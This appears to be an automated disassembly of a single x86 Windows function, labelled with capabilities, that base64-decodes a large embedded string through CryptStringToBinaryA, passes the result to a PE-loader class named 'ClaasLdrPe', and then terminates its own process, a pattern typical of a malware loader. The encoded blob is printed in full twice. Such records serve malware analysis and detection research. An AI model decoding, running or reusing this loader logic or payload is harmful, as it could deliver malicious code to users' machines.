Function at 0x4013b0
Capabilities:
Decode data using base64 via winapi
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
mov eax, dword [0x412004]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
push esi
push edi
push 4
call fcn.004015c6
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
add esp, 4
mov ebx, eax
mov dword [esp + 0xc], ebx
push 0
push 0
push ebx
push 0
push 1
push 0x70680
push str.0cvAMWbekBIGNtj3QIPzZMGHJQ3MUI3tCLGgsJVDsyaPjYk_1XgONLz2MlE5u_r_nwj7hfCk10pqzxcajcsLP71Wq0K8ehO7M57kjDgtTaLA76BBTdG2W993W7wiQLxTF_r_nwuD10hLu4S1X5L3nihDl24fgA5tS20zN7jehW8WvZIPD25agRZCutF11XCnA0c2U_r_ntE1FDB3ORZu6g88Lge4cHvl6pHfnk1E7Rz_EKKtxMuYQaTNLLnvbjAzUA0kYpxW7_r_nvLwh5JLnGVNBErFbA9NhIcg8Ljs4mnvQa44k2d7wxmGG0QmdQUNJI8Cwho8L6i4k_r_nIP7HmkjPtzFHRRYUVOMuzMmkncHqOOruSp9semmPgwVBB6PVqzMOxuzDq2VovCS_r_nAEB9cNj6lBUft_LNvkfJjPeWbWFnaNibqiKj6gTUfbt9zMTXJxF3nR3iiuDWUcFN_r_nlzO8GPRxuXR1XW9HWerFfjxrUIgw9pEBCuZjkROogTI1vAKb9pBsZmS4BjV5nG85_r_ngaZmGZqEyRdEfsCLcJsQ9imprVjh893aLfcFhdAZaASvutq9g4JvxPw8tIldADOH_r_n_EzbS6iJotmJcWQd6QX30rZnoIvEzhzvbBZwHZkdqm9ptaRP2D7yok4Jcqcohq_r_nUo_cQVxYcltBmGy7KpkN9TcPMzicXxCTLCR6lasGL841m4ii2NgGbvw7gc41ref_r_njE5dkxKj0IqXeIzruRms49lfvdphFQd8COkrZjHvlYl8rijRoUAxx_yOYPg6s_r_nKXSBivkOf1SHYyNB1TcrCcdvN82CiQ8V8vA6yNCJZZsPIKUo6CsKzZIX7NovQei_r_nNtJShPfT3KCjFn7wsx4qy4CNUQwgG8lql1t4QU_5IpoJn8Wwgyc20MwENT1sk2_r_nJFyD26hPkaEMgwGOt_8B84wSfXQn2uKIQRzUXjgR0t6Umkxp8y0OqMSyqhyoxAr_r_nJwr_DNQ7XxUz8XWtu8LZ3SIrgd1gJrn23jqWpU6WgYeapFnFB8bpBMzGC1K0HhT_r_n6hPfXoFDq_qy9itlAonjdI2fe1eZMTtEsQAB6PkM4QDBgP8eQfqp1FlOzgMPpmg_r_nlfOh9cDMAQhFkO3miwp6Aoxn5yu87DcHFTRo4Atv_Iom7J7A9TfkY6oKZwphFzU_r_nyGkd0wVHteUeBgfQRGqg_cB27u_LUkPOYSbQUSL2cHmRPJeiAFxVDKXl7ajZt0XY_r_nd90utAYtnoC9o_q_nXT9WySjN9bP9WHw9J3KzA_m09G79DEZwhf3OLlbFwZ3PG_r_nV52S60yAK7ja7exeakqak6VG1SzTnqcNgchgUrcFumX74jsEt97MC5TC3kOrvl2g_r_nOGbNjGEre4SWHfZMCGO48SXP0sGeUSULFl3LYEdMiRh9f5imS0l_Oh3kdMnF4evH_r_n25zagNu3IGiokGmz5qla34OZqUFVfsR1NkuJlO5Z3qZU1Z9cPUCwysNEJSFdlD_r_nvEwSnkTcP3PIOfACsC3cSGu1RPgaSp7NpHlsPl6UeJrrv6iREuGhfOhwyPEpxCJ_r_n4XcwUCU1X1zMjmdfJqeChan_ZHEmIsY2sGoYXZY66eXeoxGNLExDH8ShSbX45hI_r_nsTHXrUixGEd9rjKxFrFk1Idkm3AeZScH6zllgsAU7OSV8mpd7YWor1fBtOEFav3_r_nkmxqhrF1pLljUUALije0U7m2zuOVE0VPe_MxCvB2P6CSnjadyuohHuNdMx3aZA6_r_n3YZWy3dCR1kcoMI6zEtEhhgCItFjJRbZpa2Dznhz_T50X7p9lKT7VIFSmX5K_L6Z_r_nzkbvH_8Q7IvnFnYZ1cqH9gVoNsgCGVBfAsJzfXn1bN6VyQQIMQ0KIcS1himYPj_r_nKVvZM4TA3wuzZ9ohMO2KPxBO2jUPHkUJP7PDusuC3FJXpbRzP1Z2g4jW4uWTXg_r_nz6gLHwUBpZ9O0jHsDK9G0U2qSSwm9ZPAsIUIsAtGFBeLZpILaxSNWGWMNIJv30N_r_nHjT7u8UHCGgZ7D_zDtoVVWBGgNSx1nA2dBAbMjkJ20b2pxoIaMNqx4r2uXNdA2Kb_r_nc5Od3xxIjiDvK43NZ7EZ4FelFsnVIJuilY2P5KL4c6GLOGTrCrvtpDS6qJq1cA4_r_n2k60076x0fJQJr5iV1KpIQMLiVtnRgXPWS0p36Ye_VD3oZh5n2ujYQw__c3WyjJ_r_nSeYyuppZz4KOUD_YXX4qztZesXqJQMIbCBbw0WFmpUr82Sm2wC_uhTPK0UPB0m_r_nXcfor1Ez_IgSpOHonNiD0zPk3dy4Fm4LLJpfBqyMFD4DSHz5ZvZZbI376yif_r_ne7MR_eZdv5AVllVKS6xxSdunNxZjlhgp0BS5Fc_ImQYx9030tq2hj9Wkjiix0i_r_na2RKT37IQUnJgrV1w5vXC6YVLXAhgujeKeTrQJJM0k5xUZ_gHe7PWouUPf4ojc_r_n4x8kOFwkxTycXrjCG7S1OKFAp7Z_TkwC6lOSgkXAwJxFl6ldlgiE9YNgXFVKDtkG_r_n7qtzc9egb9t_Nr8PSQrOgumKTtr9TONYNUwsQ4VyXvjaAnQk0TM0oIRUUgcZttUy_r_npT1ySzRTl3uLZGCFUJIiJd5oK7i0cDZP0aAlbltXz_j6Ta8Tx9oljzEz5T5UpWw_r_nQKNLZw26ceNmvkHkp_IdhdcJxU6XjOPVqNxg_Cs5COOgg8YCNCxeFeQsXx7qGgQ_r_nTWzDC4qZJUJP9uojgIBWopyysFJyG3LEiNEtFMqnz8KtCHykFoG_EEN318vMp7__r_nBEKotr6GqTDtNP65sQkwQ9NSgBj0qpXJ49bzDmiQ2L8Udp8ioeYvkPe9BocZYBR_r_ngORfhpypvJz5qXokrVAn0FE8uhD9t_osuWGT1Now3nqbMzu8UXZvM66QJTj5Np4_r_nyaUcppQ6WeTyQUndkUoGPKrXthdrnLFPCFlplHfT5gkmboAbn4TEgxUVMfB4TNT6_r_n4uswdkMTQMosFuLUZcWgkIukw6F58rwaLM0TTDLdpsthWqkG4N0LKQaoSyIikGBE_r_noa3i9Ucyq2fRJV4LgVHojaZYkhKr7b8UbGekv9Cch1HCIQnUsDyvFc3TAKerkAkd_r_niPRzoEwMJXwxcG1MwDLhR6EN4FQrxwcsQQb8VzLbax4Vbsp6UwOcIN9qcR86Yf_r_njBIMycyh2P3Muq3L2sZhgUlr5C5TQPiDJOsXU5uOAYLyaUsoaKiumBEI5Hu79j_r_nQ_9put8C51iSZghvkd0Eq93eFYY7Gr2wGBc2G8oK8eZm5nj9dHVYWlx4pO9S9wNz_r_nuRz9GV6ZmkM7md70eVGfhJE53RzNIZu18Pxvj_GhAnxPkz512QrlkcN60mw64bE_r_n7h3KPzbf1JCYzdA7ccsYceRF3r86EsuEzlSYnSHJwVYl0ieMKdyQYjg7PRO0g_r_nyO8BEoMxeCrZN7SQWSjogKmMXWrpEy7ovjDCduBjtm_YRmQxxfwhel5c9hMt3LXM_r_nFQKw4bF88bS21caqrXeYN53FVJipI1i1CnTtgOMzNBwiQvEXm20RIW1XT3uBvX9_r_nrQ5Px_6CbGe0LNVwA_JX9qmCw7vttuD6foIto_0pQviLguHM1EXq9Q3pdDiS4_r_nrV0yZB8MJnyI0T1Yz3dcWEQ7shcYXqw1Hi5XKjc6wYbLnn32b21aaxmIZLw5ihn7_r_nC_I0qjHdzWwMQMlkT7_DAGsUOVVWO7MO_khqHkgkeoa8KK3_gYy4O11iqjQFmOJ_r_nfDvlSE9ZJce2mZ7MoX3NXj7YXBRQtvyipLsf60nw2UKRus9sdsLPaoJPjS_M0u8_r_nz9KGlAjo6FSQIxM1150aHUXgeEUgPkcMb5RShjGaCvbasaNy4eWhRZ8xrE_srf_r_nCXF5cnhXhnOfbprJ
mov dword [ebx], 0
call edi
mov esi, dword [ebx]
push esi
call fcn.004015f6
add esp, 4
mov ebx, eax
push esi
push 0
push ebx
call fcn.00402690
mov esi, dword [esp + 0x18]
add esp, 0xc
push 0
push 0
push esi
push ebx
push 1
push 0x70680
push str.0cvAMWbekBIGNtj3QIPzZMGHJQ3MUI3tCLGgsJVDsyaPjYk_1XgONLz2MlE5u_r_nwj7hfCk10pqzxcajcsLP71Wq0K8ehO7M57kjDgtTaLA76BBTdG2W993W7wiQLxTF_r_nwuD10hLu4S1X5L3nihDl24fgA5tS20zN7jehW8WvZIPD25agRZCutF11XCnA0c2U_r_ntE1FDB3ORZu6g88Lge4cHvl6pHfnk1E7Rz_EKKtxMuYQaTNLLnvbjAzUA0kYpxW7_r_nvLwh5JLnGVNBErFbA9NhIcg8Ljs4mnvQa44k2d7wxmGG0QmdQUNJI8Cwho8L6i4k_r_nIP7HmkjPtzFHRRYUVOMuzMmkncHqOOruSp9semmPgwVBB6PVqzMOxuzDq2VovCS_r_nAEB9cNj6lBUft_LNvkfJjPeWbWFnaNibqiKj6gTUfbt9zMTXJxF3nR3iiuDWUcFN_r_nlzO8GPRxuXR1XW9HWerFfjxrUIgw9pEBCuZjkROogTI1vAKb9pBsZmS4BjV5nG85_r_ngaZmGZqEyRdEfsCLcJsQ9imprVjh893aLfcFhdAZaASvutq9g4JvxPw8tIldADOH_r_n_EzbS6iJotmJcWQd6QX30rZnoIvEzhzvbBZwHZkdqm9ptaRP2D7yok4Jcqcohq_r_nUo_cQVxYcltBmGy7KpkN9TcPMzicXxCTLCR6lasGL841m4ii2NgGbvw7gc41ref_r_njE5dkxKj0IqXeIzruRms49lfvdphFQd8COkrZjHvlYl8rijRoUAxx_yOYPg6s_r_nKXSBivkOf1SHYyNB1TcrCcdvN82CiQ8V8vA6yNCJZZsPIKUo6CsKzZIX7NovQei_r_nNtJShPfT3KCjFn7wsx4qy4CNUQwgG8lql1t4QU_5IpoJn8Wwgyc20MwENT1sk2_r_nJFyD26hPkaEMgwGOt_8B84wSfXQn2uKIQRzUXjgR0t6Umkxp8y0OqMSyqhyoxAr_r_nJwr_DNQ7XxUz8XWtu8LZ3SIrgd1gJrn23jqWpU6WgYeapFnFB8bpBMzGC1K0HhT_r_n6hPfXoFDq_qy9itlAonjdI2fe1eZMTtEsQAB6PkM4QDBgP8eQfqp1FlOzgMPpmg_r_nlfOh9cDMAQhFkO3miwp6Aoxn5yu87DcHFTRo4Atv_Iom7J7A9TfkY6oKZwphFzU_r_nyGkd0wVHteUeBgfQRGqg_cB27u_LUkPOYSbQUSL2cHmRPJeiAFxVDKXl7ajZt0XY_r_nd90utAYtnoC9o_q_nXT9WySjN9bP9WHw9J3KzA_m09G79DEZwhf3OLlbFwZ3PG_r_nV52S60yAK7ja7exeakqak6VG1SzTnqcNgchgUrcFumX74jsEt97MC5TC3kOrvl2g_r_nOGbNjGEre4SWHfZMCGO48SXP0sGeUSULFl3LYEdMiRh9f5imS0l_Oh3kdMnF4evH_r_n25zagNu3IGiokGmz5qla34OZqUFVfsR1NkuJlO5Z3qZU1Z9cPUCwysNEJSFdlD_r_nvEwSnkTcP3PIOfACsC3cSGu1RPgaSp7NpHlsPl6UeJrrv6iREuGhfOhwyPEpxCJ_r_n4XcwUCU1X1zMjmdfJqeChan_ZHEmIsY2sGoYXZY66eXeoxGNLExDH8ShSbX45hI_r_nsTHXrUixGEd9rjKxFrFk1Idkm3AeZScH6zllgsAU7OSV8mpd7YWor1fBtOEFav3_r_nkmxqhrF1pLljUUALije0U7m2zuOVE0VPe_MxCvB2P6CSnjadyuohHuNdMx3aZA6_r_n3YZWy3dCR1kcoMI6zEtEhhgCItFjJRbZpa2Dznhz_T50X7p9lKT7VIFSmX5K_L6Z_r_nzkbvH_8Q7IvnFnYZ1cqH9gVoNsgCGVBfAsJzfXn1bN6VyQQIMQ0KIcS1himYPj_r_nKVvZM4TA3wuzZ9ohMO2KPxBO2jUPHkUJP7PDusuC3FJXpbRzP1Z2g4jW4uWTXg_r_nz6gLHwUBpZ9O0jHsDK9G0U2qSSwm9ZPAsIUIsAtGFBeLZpILaxSNWGWMNIJv30N_r_nHjT7u8UHCGgZ7D_zDtoVVWBGgNSx1nA2dBAbMjkJ20b2pxoIaMNqx4r2uXNdA2Kb_r_nc5Od3xxIjiDvK43NZ7EZ4FelFsnVIJuilY2P5KL4c6GLOGTrCrvtpDS6qJq1cA4_r_n2k60076x0fJQJr5iV1KpIQMLiVtnRgXPWS0p36Ye_VD3oZh5n2ujYQw__c3WyjJ_r_nSeYyuppZz4KOUD_YXX4qztZesXqJQMIbCBbw0WFmpUr82Sm2wC_uhTPK0UPB0m_r_nXcfor1Ez_IgSpOHonNiD0zPk3dy4Fm4LLJpfBqyMFD4DSHz5ZvZZbI376yif_r_ne7MR_eZdv5AVllVKS6xxSdunNxZjlhgp0BS5Fc_ImQYx9030tq2hj9Wkjiix0i_r_na2RKT37IQUnJgrV1w5vXC6YVLXAhgujeKeTrQJJM0k5xUZ_gHe7PWouUPf4ojc_r_n4x8kOFwkxTycXrjCG7S1OKFAp7Z_TkwC6lOSgkXAwJxFl6ldlgiE9YNgXFVKDtkG_r_n7qtzc9egb9t_Nr8PSQrOgumKTtr9TONYNUwsQ4VyXvjaAnQk0TM0oIRUUgcZttUy_r_npT1ySzRTl3uLZGCFUJIiJd5oK7i0cDZP0aAlbltXz_j6Ta8Tx9oljzEz5T5UpWw_r_nQKNLZw26ceNmvkHkp_IdhdcJxU6XjOPVqNxg_Cs5COOgg8YCNCxeFeQsXx7qGgQ_r_nTWzDC4qZJUJP9uojgIBWopyysFJyG3LEiNEtFMqnz8KtCHykFoG_EEN318vMp7__r_nBEKotr6GqTDtNP65sQkwQ9NSgBj0qpXJ49bzDmiQ2L8Udp8ioeYvkPe9BocZYBR_r_ngORfhpypvJz5qXokrVAn0FE8uhD9t_osuWGT1Now3nqbMzu8UXZvM66QJTj5Np4_r_nyaUcppQ6WeTyQUndkUoGPKrXthdrnLFPCFlplHfT5gkmboAbn4TEgxUVMfB4TNT6_r_n4uswdkMTQMosFuLUZcWgkIukw6F58rwaLM0TTDLdpsthWqkG4N0LKQaoSyIikGBE_r_noa3i9Ucyq2fRJV4LgVHojaZYkhKr7b8UbGekv9Cch1HCIQnUsDyvFc3TAKerkAkd_r_niPRzoEwMJXwxcG1MwDLhR6EN4FQrxwcsQQb8VzLbax4Vbsp6UwOcIN9qcR86Yf_r_njBIMycyh2P3Muq3L2sZhgUlr5C5TQPiDJOsXU5uOAYLyaUsoaKiumBEI5Hu79j_r_nQ_9put8C51iSZghvkd0Eq93eFYY7Gr2wGBc2G8oK8eZm5nj9dHVYWlx4pO9S9wNz_r_nuRz9GV6ZmkM7md70eVGfhJE53RzNIZu18Pxvj_GhAnxPkz512QrlkcN60mw64bE_r_n7h3KPzbf1JCYzdA7ccsYceRF3r86EsuEzlSYnSHJwVYl0ieMKdyQYjg7PRO0g_r_nyO8BEoMxeCrZN7SQWSjogKmMXWrpEy7ovjDCduBjtm_YRmQxxfwhel5c9hMt3LXM_r_nFQKw4bF88bS21caqrXeYN53FVJipI1i1CnTtgOMzNBwiQvEXm20RIW1XT3uBvX9_r_nrQ5Px_6CbGe0LNVwA_JX9qmCw7vttuD6foIto_0pQviLguHM1EXq9Q3pdDiS4_r_nrV0yZB8MJnyI0T1Yz3dcWEQ7shcYXqw1Hi5XKjc6wYbLnn32b21aaxmIZLw5ihn7_r_nC_I0qjHdzWwMQMlkT7_DAGsUOVVWO7MO_khqHkgkeoa8KK3_gYy4O11iqjQFmOJ_r_nfDvlSE9ZJce2mZ7MoX3NXj7YXBRQtvyipLsf60nw2UKRus9sdsLPaoJPjS_M0u8_r_nz9KGlAjo6FSQIxM1150aHUXgeEUgPkcMb5RShjGaCvbasaNy4eWhRZ8xrE_srf_r_nCXF5cnhXhnOfbprJ
call edi
push pe_nt_image_headers32
lea eax, [esp + 0x14]
push 0
push eax
call fcn.00402690
mov esi, dword [esi]
add esp, 0xc
push esi
call fcn.004015f6
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.00402690
add esp, 0xc
push 0x20
push ecx
lea ecx, [esp + 0x18]
call fcn.004014d0
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push dword [eax]
push edi
push ebx
call fcn.00401530
push ebx
call fcn.004015ff
add esp, 4
push 4
call fcn.004015c6
add esp, 4
mov ecx, eax
mov dword [eax], vtable.ClaasLdrPe.0
push edi
call fcn.00401210
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.004015b8
mov esp, ebp
pop ebp
ret 0x10